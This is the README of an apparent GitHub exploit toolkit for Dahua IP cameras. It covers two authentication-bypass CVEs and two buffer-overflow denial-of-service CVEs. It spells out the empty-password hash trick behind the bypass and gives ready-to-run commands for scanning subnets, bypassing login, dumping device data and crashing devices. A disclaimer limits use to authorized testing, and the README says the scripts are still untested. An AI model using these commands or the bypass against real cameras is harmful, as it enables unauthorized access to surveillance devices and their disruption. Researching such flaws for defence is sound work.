
Dahua IP camera CVE research toolkit (CVE-2021-33044/33045, CVE-2025-31700/31701)
⚠️ UNDER DEVELOPMENT — These scripts are based on published CVE details and require further testing against vulnerable devices to confirm full functionality.
Research and proof-of-concept scripts for four critical Dahua IP camera vulnerabilities.
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL AND AUTHORIZED SECURITY TESTING PURPOSES ONLY.
By using these tools, you agree that:
1. You have EXPLICIT WRITTEN AUTHORIZATION to test the target systems
2. You will NOT use these tools for illegal activities
3. You accept full responsibility for your actions
4. The authors are NOT liable for any misuse or damage
Unauthorized access to computer systems is a CRIMINAL OFFENSE in most jurisdictions.
| CVE | CVSS | Type | Status |
|---|---|---|---|
| CVE-2021-33044 | 9.8 CRITICAL | Auth Bypass | CISA KEV (actively exploited) |
| CVE-2021-33045 | 9.8 CRITICAL | Auth Bypass | CISA KEV (actively exploited) |
| CVE-2025-31700 | 8.1 HIGH | Buffer Overflow DoS | Recent (2025) |
| CVE-2025-31701 | 8.1 HIGH | Buffer Overflow DoS | Recent (2025) |
Dahua cameras use challenge-response authentication over /RPC2_Login:
Normal Login:
step1 = MD5("admin:realm:PASSWORD")
step2 = MD5("step1:random:step1")
Bypass (CVE-2021-33044/45):
step1 = MD5("admin:realm:") ← EMPTY password
step2 = MD5("step1:random:step1")
Vulnerable firmware accepts the empty-password hash and returns a valid session token.
# Clone repository
git clone https://github.com/umair-aziz025/Dahua_IP_Camera_CVE_Exploit.git
cd Dahua_IP_Camera_CVE_Exploit
# Install dependencies
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 8081
# Single host with port
python dahua_scanner.py 192.168.1.100:8081
# Full options
python dahua_scanner.py 192.168.1.0/24 -p 80 8080 -w 100 -t 10 -v -o results.json
# Show help
python dahua_scanner.py --help
Common Dahua ports: 80, 8000, 8080, 8081, 8888, 9000, 443, 37777
python dahua_exploit.py 192.168.1.100 -p 8081
python dahua_exploit.py 192.168.1.100 -c 2021-33044 # Single CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py 192.168.1.100 -p 8081
python dahua_auth_bypass.py 192.168.1.100 --dump # Dump device info after bypass
python dahua_rce.py 192.168.1.100 -p 8081
python dahua_rce.py 192.168.1.100 --cve http # HTTP only
python dahua_rce.py 192.168.1.100 --cve tcp # TCP/37777 only
⚠️ WARNING: The DoS script may crash the target device.
requests
All other imports are from Python standard library:
socket, struct, hashlib, threading, ipaddress, argparse, json
🚧 UNDER ACTIVE DEVELOPMENT
These scripts have been developed based on:
Testing Status:
If you have access to vulnerable devices for testing, contributions and feedback are welcome.
Please report any issues or false positives.
MIT License - See LICENSE file.
Umair Aziz
GitHub: @umair-aziz025
For educational and authorized security research only.
| File | Purpose | CVEs |
|---|
dahua_scanner.py | Network discovery — find Dahua cameras on subnet | Detection |
dahua_exploit.py | Multi-CVE scanner — test all vulnerabilities | All |
dahua_auth_bypass.py | Dedicated auth bypass with --dump option | CVE-2021-33044/45 |
dahua_rce.py | Buffer overflow DoS probe | CVE-2025-31700/01 |